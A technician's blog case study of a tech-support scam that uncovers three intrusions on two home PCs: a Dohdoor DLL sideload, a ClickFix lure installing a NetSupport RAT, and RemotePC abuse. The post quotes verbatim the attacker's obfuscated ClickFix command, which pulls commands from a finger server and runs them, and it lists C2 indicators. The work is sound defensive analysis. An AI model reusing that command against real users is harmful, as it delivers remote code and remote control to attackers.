One Scam Call, Two PCs, Three Intrusions: An S-Ray Forensic Case Study

When a client tells me a scammer got into “one of” their computers, the obvious move is to look at whichever machine they were sitting at during the call. Most techs would stop there, of course. In this case, that would have resulted in my finding the scammer’s remote-support session on the laptop, removing it, and sending both machines home, with the other one still quietly connected to someone else’s server.

What came through my lab was an HP all-in-one and an HP laptop, dropped off together after a tech-support scam call. By the time I was finished, I had three separate security events on my hands, not one. The scam call had only touched the laptop. The all-in-one (the computer nobody suspected) had been running a NetSupport remote-control client for six months after a fake “verify you are human” prompt, and it had been carrying a dormant backdoor in a hidden folder for just over a year.

This is exactly the kind of case I built S-Ray for, so I’m going to walk through it in detail: what S-Ray caught and how fast, where I had to go hunting on my own, the full forensic timeline of all three events, and the indicators other techs can use to check their own clients’ machines.

Two Machines, One Phone Call

The setup was simple enough. My clients had gotten one of those calls (you know the type), and the caller had connected to one of their computers. Although they were using the laptop at the time, they weren’t 100% sure what all had been infiltrated, so they brought me both:

• An HP Pavilion All-in-One 27 (Intel Core i7-8700T, 12 GB RAM, Windows 11 Home) that had been in service since 2019
• An HP OmniBook 5 16 laptop (Snapdragon X Plus, 16 GB, Windows 11 Home, BitLocker enabled), about six months old

I’d never serviced either machine before. Both were booked for Scam Forensics, Advanced Disinfection and my Triple-S Tune-Up, and both got an S-Ray analysis the moment they arrived (as does practically everything).

Two Scans, Three and a Half Minutes Apart

S-Ray collected the all-in-one at 1:25 PM and the laptop at 1:28 PM. Each analysis came back roughly six minutes later (a 12-page tech report on the all-in-one, 9 pages on the laptop), and both opened with the same banner: OVERALL RISK: CRITICAL.

On the all-in-one, S-Ray flagged a NetSupport remote-control client running out of a randomly named folder under ProgramData, launched by two disguised scheduled tasks, and holding a live outbound connection at the moment of the scan. Here’s the finding card from my report, trimmed down substantially and with identifying details redacted:

The binary itself is clean in the traditional sense. It’s NetSupport Manager, validly signed by NetSupport Ltd, which is precisely why antivirus tends to wave it through. What gives it away is everything else around it:

• Location and naming: C:\ProgramData\CeoklauD\Dabrudas\client32.exe, a commercial product sitting in a gibberish folder with no install record
• Persistence: a task named \client32.exe relaunching it at every startup and sign-in, plus a second task with a random 19-character name (\dobU9i5OralkFm78tCv) that had run exactly once, on April 25 at 4:32 PM
• Live C2: process ID 10984 connected to 93.152.205[.]195 on port 688 while S-Ray was collecting
• Dwell time: usage records showing the client already running when the 30-day record window opened, with 648 hours online inside that window
• Tampering: a per-user override of how Windows launches every .exe file
• Weakened defenses: Microsoft Defender sitting in passive mode with real-time protection off and no full scan ever recorded

It also did something I appreciate more than any single detection: it told me what it didn’t know. The card states plainly that the scan couldn’t show whether the scam call came before or after the April artifacts, or which of the two machines the caller had reached. Hold that thought, because it’s important in just a bit.

The laptop’s report was just as direct. S-Ray pinpointed a RemotePC HelpDesk agent (legitimate remote-support software from IDrive, Inc.) installed as an auto-start service on October 22 at 4:45 PM from a numbered installer in the Downloads folder, with no uninstall entry anywhere. Its triage block laid out the case and where to start.

While it was at it, S-Ray noticed that the laptop’s Desktop and Documents folders were redirected into a OneDrive folder that no account was actually syncing (meaning nothing in them was being backed up), and it made sure to remind me to “save the BitLocker recovery key” before anything got touched. Forget about either of those and a disinfection job can turn into a data-loss job inadvertently.

Contained in Minutes, With Me Holding the Keys

Finding the problem is half the job. S-Ray’s Case Chat turns a finding into a guarded remediation script that runs only with my sign-off and reports back what it verified. The guardrails are the whole point:

• Evidence first. The removal scripts export what they’re about to remove (registry keys, task definitions, service configuration) before touching anything.
• An authorization gate. S-Ray won’t remove a remote-access tool until I confirm it’s unauthorized. Legitimate IT departments and family members use these same products, and software can’t know which is which.
• Checks that fail closed. If something on the machine doesn’t match what the script expects, it stops before the destructive phase.
• Proof, not promises. After acting, the script re-checks the live system and prints a VERIFIED, NOT RESOLVED, PENDING REBOOT or UNVERIFIED line for every item.

On the all-in-one, S-Ray repaired the per-user .exe override first, since that was a pure system repair (verified at 1:33 PM). Then it stopped and asked me to confirm that the NetSupport client was unauthorized. I confirmed at 1:34. Fifteen seconds of guarded cleanup later, at 1:35, it had exported the configuration, disabled both tasks, stopped client32.exe, renamed the program folders aside, and verified that the connection to the attacker’s server was gone. A follow-up check at 1:41 found zero firewall rules tied to the client. One of its launch commands failed along the way, and S-Ray said flatly that the error was in its own instructions, not the machine. One of the foundational rules of the tools I build is that they must own their mistakes instead of hiding or ignoring them.

The laptop shows the fail-closed design doing its job. I authorized removal at 1:37 PM. S-Ray’s first script stopped cold before deleting a thing, because its publisher check found a file it didn’t expect inside the RemotePC program folder:

ERROR: Unexpected executable publisher: C:\Program Files (x86)\HelpDeskHost\HelpDesk\avcodec-58.dll

That’s an FFmpeg video codec library bundled with RemotePC, and its publisher didn’t match IDrive’s. A sloppier script would have plowed ahead, or worse, deleted whatever didn’t match. S-Ray stopped, explained why, and revised the check. The second script ran clean at 1:41 PM:

--- verification lines (16; NOT RESOLVED 0, PENDING REBOOT 0, UNVERIFIED 2) ---
VERIFIED: HelpDeskService - absent
VERIFIED: \KillHelpDeskService - absent
VERIFIED: C:\Program Files (x86)\HelpDeskHost - absent
VERIFIED: C:\ProgramData\HelpDeskHost - absent
VERIFIED: C:\ProgramData\RPCDnD - absent
VERIFIED: C:\ProgramData\RemotePC - absent
VERIFIED: Firewall {62218DC4-69D8-4048-B8A9-E1FFCA14BAAB} - absent
[...five more product firewall rules, each VERIFIED absent...]
VERIFIED: Product firewall application rules - absent
VERIFIED: RemotePC and HelpDesk processes - absent
UNVERIFIED: Defender full scan - complete and review separately after removal.
UNVERIFIED: Downloaded installers - this script does not quarantine them.

Note those two UNVERIFIED lines. It didn’t take credit for anything it hadn’t done. A third script quarantined both installers at 1:47 PM, with SHA-256 hashes matching before and after the move so the evidence stayed intact.

Collection to verified containment: about ten minutes on the all-in-one and under thirteen on the laptop, with me approving every destructive step. Speed is nice, but speed with intentional guardrails is what makes it safe to point at a client’s machine.

The Dates Didn’t Line Up

At first glance, the NetSupport client looked like the scammer’s connection. It wasn’t. The scam call happened on October 22. NetSupport had been installed on April 25, delivered a completely different way, through completely different infrastructure, on a machine that showed no sign of the October call at all.

So I went back through the file system, registry, event logs and usage records on both machines and rebuilt the history from scratch. S-Ray got me to the right questions fast. Answering them took some old-fashioned digging that evening: a numbered hunt script of my own, Farbar Recovery Scan Tool (FRST), a second-opinion deep scan with a third-party AV tool, and a whole lot of timestamps.

Separately from S-Ray, I also worked through the raw telemetry with Claude Mythos 5.1, which Anthropic currently offers to vetted security professionals through its Cyber Verification Program. I used it the way I’d use a sharp second analyst: to help pick apart the obfuscated command you’ll see below, to reverse-engineer the loader chain from what it left on disk, and to check my reading of the timeline against the published research. Every conclusion in this post is one I verified against the artifacts myself.

The result: three separate events, plus a decent amount of unrelated noise that had to be ruled out along the way. I’ve bracketed every malicious domain and IP so nothing is clickable by accident below. “Confirmed” means the evidence shows it directly; “probable” means a strong inference I can’t prove outright.

Event 1: A Backdoor That Was Already a Year Old (October 13, 2025)

At 7:23 PM on October 13, 2025, a hidden folder appeared on the all-in-one: C:\ProgramData\nvhzpqdsqRKqVFpGl. Inside were two files: a copy of mblctr.exe (Windows Mobility Center, lifted from the PC’s own system folder) and a malicious batmeter.dll. When that legitimate, Microsoft-signed program runs, Windows loads the DLL sitting right next to it. That’s what we security bros call DLL sideloading, and it lets a trusted process do the attacker’s work for them. (Confirmed)

Microsoft Defender identifies the DLL as Trojan:Win64/Dohdoor!AMTB. Cisco Talos published its research on Dohdoor in February 2026: a loader that downloads a follow-on payload, runs it hidden inside ordinary Windows processes, and disguises its lookups as everyday encrypted web traffic. Talos reported activity since at least December 2025, aimed mostly at education and healthcare organizations, and tied it (with low confidence) to a North Korea–aligned group.

One detail still left open: if this folder’s timestamps can be trusted, it predates the earliest activity Talos has published by about seven weeks, and predates the compile date of the sample they analyzed. Timestamps can be forged, so I’m not taking that to the bank, of course. Still, it’s an interesting data point.

How it got there nobody knows. What it did is also unknown. Nothing was set up to relaunch it, it wasn’t running when the machine arrived, and whatever it may have fetched was never recovered. One supporting sign: on October 28, 2025, Windows’ built-in netsh.exe queried the PC’s location, which is consistent with Wi-Fi reconnaissance. (Probable)

So why didn’t the antivirus catch it for a year? Because the antivirus wasn’t really in charge. Webroot SecureAnywhere was installed, and it had Microsoft Defender sidelined in passive mode (real-time protection off, no full scan ever recorded) while cluttering Windows Security Center with 14 duplicate registrations of itself. Longtime readers know Webroot and I have history, and I’ve written before about security software becoming the threat. Once I uninstalled it and Defender took over as the active antivirus, Defender flagged and quarantined batmeter.dll the moment I opened the folder to examine it (4:09 PM on intake day). I removed the Mobility Center copy myself.

Event 2: A Fake CAPTCHA, a 1970s Protocol, and Six Months of Remote Control (April 25, 2026)

This is the one that should worry everybody, because it requires nothing more than a willing user and a convincing web page.

• 4:21 PM: The all-in-one wakes up with someone at the keyboard. (Confirmed)
• Minutes later: A command is pasted into the Windows Run box and executed. This is ClickFix: a fake CAPTCHA page tells you to press Windows+R, then Ctrl+V, then Enter to “verify you’re human,” which actually pastes and runs the attacker’s command from your clipboard. (Confirmed)
• 4:27 PM: A renamed copy of Windows’ own download tool, curl, appears in the user’s AppData\Local folder as 1096322870210204873.exe, next to a 10.9 MB “PDF” named python-3.15.0a1-embed-win32.pdf. It’s not a PDF. It’s the Python embeddable runtime, which gets extracted right alongside it. (Confirmed)
• 4:27:38 PM: CastleLoader writes its installation marker, C:\ProgramData\YvAPcF0OnjSYuDW7QosQ. (Confirmed)
• By 4:32 PM: NetSupport Manager is installed under C:\ProgramData\CeoklauD\Dabrudas\, its installer task runs, and the client connects out to 93.152.205[.]195 on port 688. (Confirmed)

Here’s the lucky break: the attacker’s command was still sitting in the Run box history (the RunMRU registry key) six months later, fake verification text and all. Here it is, verbatim except for the defanged domain:

%COMSPEC% /k s^ta^r^t "" /min for /f "skip=15 delims=" %T in ('f^^i^^n^^g^^e^^r FOsAvIkohj@meatlyhomereciple[.]com') do call %T & e^x^i^t && echo ' ---Verify you are human-----press ENTER--- '

Let’s take that apart:

• %COMSPEC% /k opens a command prompt (cmd.exe).
• The carets (^) are cmd.exe’s escape character. Sprinkled inside keywords like s^ta^r^t and e^x^i^t, they disappear when the line is parsed, but they break the naive string matching some security tools rely on.
• start "" /min hands the loop to a second, minimized cmd.exe window. (Each command interpreter strips one layer of escaping, which is why finger needed doubled carets to survive both.)
• finger FOsAvIkohj@meatlyhomereciple[.]com runs finger.exe, a client for the Finger protocol (TCP port 79) that has shipped with Windows for decades and that nobody has touched since Seinfeld was everyone’s favorite TV show in the ’90s. The attacker’s server answers the “user lookup” with a block of text.
• for /f "skip=15 delims=" %T ... do call %T throws away the first 15 lines of that reply and executes every remaining line as a command. In other words, the attacker’s finger server is the delivery channel.
• e^x^i^t closes the visible window, and the trailing echo ' ---Verify you are human-----press ENTER--- ' is there for the victim. After a paste, the Run box shows the end of the string, so all they see is what looks like a verification code.

From there, curl pulls down the Python runtime disguised as a PDF, and the loader runs on that portable runtime, which neatly avoids dropping an obviously malicious executable. Huntress documented this exact chain in an April 30, 2026 write-up of a ClickFix campaign they call BackgroundFix. The CastleLoader marker on this machine, YvAPcF0OnjSYuDW7QosQ, is the identical value Huntress published. The finger domain is a near-twin of the one in their report, the NetSupport folder follows the same naming pattern, and the C2 port is the same 688. Same campaign, same build, and this machine was hit five days before their write-up went live.

In the documented version of this attack, CastleLoader also runs a password stealer, CastleStealer, entirely in memory. It harvests saved browser passwords and cookies, crypto wallets, and Discord and Telegram sessions. By design it leaves nothing on disk, so I can’t prove it ran here. I’m treating it as though it did (probable), as should anyone else who finds this chain on a machine.

Then NetSupport just sat there, waiting. It was still connected when my clients dropped the machine off on October 26, 184 days after the install. A few details from the usage and device-access records:

• On September 18 at 4:25 AM, the NetSupport client queried the PC’s location through Windows location services. (Confirmed)
• Over the final 30 days, its traffic was heartbeat-level: 14.3 MB out and 4.7 MB in across 648 hours online. No sign of long screen-watching sessions in that window. (Probable)
• The months before that can’t be measured from what’s left on the machine.

Event 3: The Scam Call Itself (October 22, 2026)

The laptop’s story is the one my clients knew about, and technically it’s the shallowest of the three. It’s also a good look at how far tech-support scammers have moved past “give me your password,” a trend I covered in my September post on the remote-access scam wave.

• 4:44 PM: HelpDesk_<nine-digit number>.exe is downloaded, twice. The number is very likely the session’s connection ID. (Download confirmed; ID probable)
• 4:45 PM: RemotePC HelpDesk installs as an auto-start service with administrator rights (HelpDeskService), along with a scheduled task called \KillHelpDeskService and a credential provider: a sign-in component that lets the remote party log in at the Windows lock screen. (Confirmed)
• 4:48 PM: Command Prompt opens. Explorer crashes four times between 4:46 and 7:26 PM. (Confirmed)
• 4:48 PM to 12:30 AM: The remote-desktop component is active for about five hours within that span and sends about 149 MB, with the biggest single hour (17 MB) at 6:13 PM. That’s consistent with streaming the screen. (Probable)
• 5:54 PM: Notepad opens. More on that in a sec.
• 6:46 PM: Resource Monitor opens, the classic “look at all these foreign connections” scare tactic. (Confirmed)
• 7:16 to 7:17 PM: 514 empty folders named “âš  Banking Hack Code” are mass-copied into Documents and Downloads (257 in each), staged “evidence” meant to frighten the victim. (Confirmed)
• 7:26 PM: RemotePC’s file-transfer component runs, so files may have moved in either direction. (That it ran: confirmed. What was copied/collected: unknown.)
• October 23 to 25: RemotePC components run again, including a full launch on October 24 at 9:34 AM, so the caller likely reconnected. (Launches confirmed; sessions probable)

That Notepad window is where the caller typed up the sales pitch, and it’s a masterpiece of the genre: an “IP Address Spoofing / Advanced VPN / AI Intruder Removal Tool” at $2,608.00 for three years, $5,216.20 for seven, or $7,824.50 for “lifetime” (discounted, plus tax, naturally), a “Dark Web Encryption By Credit Bureau” add-on at $296 to $884, a list of 13 devices in the household, and some fake “masked IP” lists for good measure. Sounds like a steal (no pun intended)!

Two details here deserve emphasis for other techs. First, RemotePC HelpDesk registers only as a service. It never appears in Apps & Features, so a routine “uninstall the remote tool” pass misses it completely. Second, that credential provider. It’s how a caller can come back and sign in at the lock screen with nobody sitting at the machine. Here’s FRST’s line for it (trimmed and anonymized):

HKLM\Software\...\Authentication\Credential Providers: [{19695582-B6B6-4A51-9DB2-A38DA71746DD}] -> %LOCALAPPDATA%\Temp\HelpDesk\...\RpcApp\RPCAuthProvider.dll (IDrive, Inc.)

That one is FRST’s catch, not S-Ray’s. S-Ray’s intake didn’t call it out on its own, which is why I never rely on any single tool, mine included. I removed it by hand along with everything else. For what it’s worth though, later that afternoon, I updated S-Ray to detect these as well (this is how I work, for the record).

And the all-in-one that day? No remote-access tool was installed on it, and none of its infection markers exist on the laptop. The call appears to have involved the laptop only. (Probable)

Sorting Signal from Noise

A machine with this much history is full of things that look suspicious and aren’t, and a reasonable part of the job was ruling them out. This is what got classified as background:

• November 11, 2021: A Geek Squad visit left a LogMeIn Rescue support service behind on the all-in-one (later disabled), plus Adobe Shockwave. A second visit in September 2023 left Java 8. S-Ray traced the LogMeIn leftover back to that 2021 visit and correctly ruled it out as attacker persistence, intelligently, based on context.
• May 30, 2024, and October 11, 2025: Chrome on the all-in-one was allowed to show push notifications from two spam sites (junctionspeedforum[.]co[.]in and curevidnes[.]com). The second one came two days before Event 1. Any link between them is unconfirmed.
• June 2, 2025: “PC App Store” adware (Fast Corporation LTD) was installed, with three startup entries.
• April 22, 2026, 5:30 to 7:26 PM: A LogMeIn Rescue session ran on the all-in-one with admin rights, then removed itself. The Run box history still showed www.logmein123.com, LogMeIn’s real session-entry site. LogMeIn Rescue is legitimate support software, so this was either a real support call or an earlier scam call three days before the ClickFix infection. The telemetry on the machine can’t prove which, so it remains unclassified.
• May 18, 2026: Someone at the all-in-one set up home file sharing. SMB 1.0 was likely switched on (it’s no longer installed), a network discovery service was set to start automatically, and an enable_guest.reg file permitting insecure guest connections was saved on the laptop. That’s the likely origin of the all-in-one’s enabled Guest account and password-free sharing. Not an attacker, but a much wider door than anyone required. I disabled the Guest account.
• September 1, 2026 (laptop): The Blazer browser, which Malwarebytes classifies as a potentially unwanted program (that’s a mild classification considering), was installed from two installers in Downloads. It set itself to start automatically and crashed 29 times in a month. Whether it delivered the scam pop-up isn’t known. It’s gone now because it sucks.
• October 25, 2026: A Windows network reset on the all-in-one, most likely my clients’ own reaction to the scam call.

Cleanup, Hardening, and a Second Analysis That Wouldn’t Grade Its Own Homework

Beyond the live containment, the all-in-one got a full manual disinfection: the NetSupport client and both tasks, the renamed curl, the Python runtime and its fake PDF, the CastleLoader marker, %LOCALAPPDATA%\NetSupport, the per-user .exe and exefile overrides (plus one more under HKU\.DEFAULT), the Dohdoor folder, the PC App Store startup entries, three unwanted Firefox add-ons, the leftover 2021 LogMeIn Rescue service, a pile of stale policy keys, and every browser notification permission on the machine. Webroot was uprooted, Defender went back on defense, and a final third-party deep scan found nothing new beyond a leftover PC App Store installer.

The laptop waived adieu to RemotePC HelpDesk entirely (service, task, credential provider, four program folders and six firewall rules), along with the 514 decoy folders and the Blazer browser. The installers went into an evidence quarantine. A full Defender scan turned up one more item, a “Spigot” browser modifier inside an old, archived copy of Chrome data (not the active browser), which it quarantined. Both machines also got NTFS repairs and my full tune-up.

Then S-Ray ran its follow-up comparison on October 28, checking every original finding against the machine’s current state:

Overall risk dropped from CRITICAL to NOTICE. Free space on the all-in-one went from 39.9 GB (16.8%) to 88.1 GB (37.2%). Total boot time, including everything that loads after sign-in, went from 61 to 103 seconds in the days before service to 34 to 44 seconds after. All 48 hardware tests passed, Defender is back in normal mode with current signatures, and my own protection profile went on at its enhanced level. S-Ray even checks the work I promised at intake against what it can verify on the machine: three done, one it couldn’t verify from the telemetry alone.

But here’s the part I like best:

Two findings closed outright. The NetSupport finding only moved to “improved,” at medium confidence, because S-Ray couldn’t yet prove two things at the moment of that scan: that both original tasks were gone, and that Defender had completed a full scan. It required both before it would sign off on security closeout. It treated Webroot the same way: removal confirmed, but 13 stale Security Center registrations still pointing at a deleted WRSA.exe, with a next step to clean them up. That’s exactly what you want from a professional verification tool. It doesn’t grade its own homework, and it automatically logged one new solution from this case for the next machine that looks like this one.

Because the all-in-one carried two separate intrusions, I held it to a stricter standard. After a final reboot, full and offline Defender scans came back clean, a rootkit scan came back clean, fresh sweeps of startup locations, services and scheduled tasks found no surviving persistence, and a watch of its network connections showed nothing calling out to either attacker.

The machines are the easy part, though. The all-in-one held saved browser passwords, email, banking and brokerage logins, and password-manager master passwords the entire time NetSupport was connected, and possibly since October 2025. So my clients went home with a step-by-step account and identity action plan. The short version: treat everything saved on that machine as stolen as of April 25 at the latest, change passwords from a known-clean device starting with email (since email resets everything else), turn on two-factor authentication everywhere it’s offered, and loop in the bank and brokerage. On the laptop, anything viewed or typed while the caller was connected counts as exposed, too.

Indicators from This Case

For other techs and researchers: NetSupport Manager and RemotePC HelpDesk are legitimate, signed commercial products. Their presence alone proves nothing; the context below is what convicts them. Malicious domains and IPs are defanged, and user-specific path segments are generalized.

Event 2: ClickFix, CastleLoader and NetSupport RAT (April 25, 2026)

• RunMRU entry (the command above), querying FOsAvIkohj@meatlyhomereciple[.]com over Finger (TCP 79)
• %LOCALAPPDATA%\1096322870210204873.exe (renamed curl, 756,784 bytes)
• %LOCALAPPDATA%\python-3.15.0a1-embed-win32.pdf (Python embeddable runtime, about 10.9 MB) and the extracted %LOCALAPPDATA%\python-3.15.0a1-embed-win32\
• C:\ProgramData\YvAPcF0OnjSYuDW7QosQ (CastleLoader installation marker)
• C:\ProgramData\CeoklauD\Dabrudas\client32.exe (NetSupport Manager client, validly signed by NetSupport Ltd, 107,376 bytes)
• Scheduled tasks \client32.exe (relaunch at startup and sign-in) and \dobU9i5OralkFm78tCv (installer, ran once on 2026-04-25 at 16:32)
• C2: 93.152.205[.]195:688
• Per-user overrides at HKU\<SID>\Software\Classes\.exe and HKU\<SID>\Software\Classes\exefile, plus HKU\.DEFAULT\Software\Classes\exefile
• Residue at %LOCALAPPDATA%\NetSupport

Event 1: Dohdoor (folder dated October 13, 2025)

• C:\ProgramData\nvhzpqdsqRKqVFpGl\ containing a copy of mblctr.exe and batmeter.dll
• Microsoft Defender detection Trojan:Win64/Dohdoor!AMTB (Event IDs 1116 and 1117)

Event 3: RemotePC HelpDesk abuse (October 22, 2026)

• %USERPROFILE%\Downloads\HelpDesk_<9-digit ID>.exe plus a “(1)” duplicate: IDrive HelpDeskInstaller, 400,208 bytes, SHA-256 74620EF1D1750A8E1162BA83F1913AF8E4A65101F4C95BB17961F2E30FFC2674
• Service HelpDeskService running C:\Program Files (x86)\HelpDeskHost\HelpDesk\RPCHelpDeskServiceUAC.exe (auto start, no Apps & Features entry)
• Credential provider {19695582-B6B6-4A51-9DB2-A38DA71746DD} loading RPCAuthProvider.dll from %LOCALAPPDATA%\Temp\HelpDesk\
• Scheduled task \KillHelpDeskService running C:\ProgramData\HelpDeskHost\RPCHDKillService.exe
• Folders C:\ProgramData\HelpDeskHost, C:\ProgramData\RemotePC and C:\ProgramData\RPCDnD, plus six product firewall rules
• 514 empty decoy folders named “âš  Banking Hack Code” (and “- Copy” variants) in Documents and Downloads

TL;DR:

• A scam call means every machine gets checked. My clients brought both computers, and the one they weren’t worried about turned out to be the worse of the two by a wide margin.
• Never paste a command because a website told you to. No legitimate CAPTCHA will ever ask you to press Windows+R. If a page tells you to press Windows+R and then Ctrl+V, close the tab.
• Signed doesn’t mean safe. NetSupport and RemotePC are both legitimate, validly signed products. Context is what convicts them: where they live, how they start, who installed them, and when.
• Make sure your antivirus is actually running. A third-party product can leave Defender sidelined in passive mode while doing a worse job itself. In PowerShell, Get-MpComputerStatus | Select AMRunningMode, RealTimeProtectionEnabled, FullScanEndTime tells you in one line.
• “Uninstalled” isn’t “removed.” Service-only agents, credential providers, scheduled tasks and firewall rules all survive a trip through Apps & Features.
• For techs: read the Run box history. ClickFix leaves its fingerprints in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, and on this machine they were still there six months later. Check for non-Microsoft entries under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers while you’re in there.
• For techs: consider blocking finger.exe. Almost nobody needs it anymore, and an outbound firewall rule kills this particular delivery trick:

netsh advfirewall firewall add rule name="Block finger.exe (64-bit)" dir=out action=block program="%SystemRoot%\System32\finger.exe" enable=yes
netsh advfirewall firewall add rule name="Block finger.exe (32-bit)" dir=out action=block program="%SystemRoot%\SysWOW64\finger.exe" enable=yes

Bottom Line

One phone call, two computers, and three intrusions spread across a year, with the most serious one sitting on the machine nobody suspected. S-Ray found both live remote-access tools within minutes of the machines landing in my lab, contained them with guarded, verified scripts while I held the keys, and then refused to call the job truly complete until the evidence said so. The rest came down to old-fashioned forensic work and not stopping when the easy answer showed up. It wasn’t the cheapest job – $694 – but, as with everything I do, there’s little doubt it was done correctly.

If you’ve had a scam call recently, don’t assume the scammer only touched the computer you were sitting at. And if you’re a tech, don’t stop at the first remote-access tool you find.

If you’re in the Louisville area and think someone may have had remote access to any of your computers, give me a call. I’ve been doing this since 2006, every machine is handled personally by me, and with S-Ray in my corner I’ll tell you exactly what happened and when, on every machine you bring me, not just the one you’re worried about.

Donate to say "Thanks" if this post has helped save you time and money! 🙂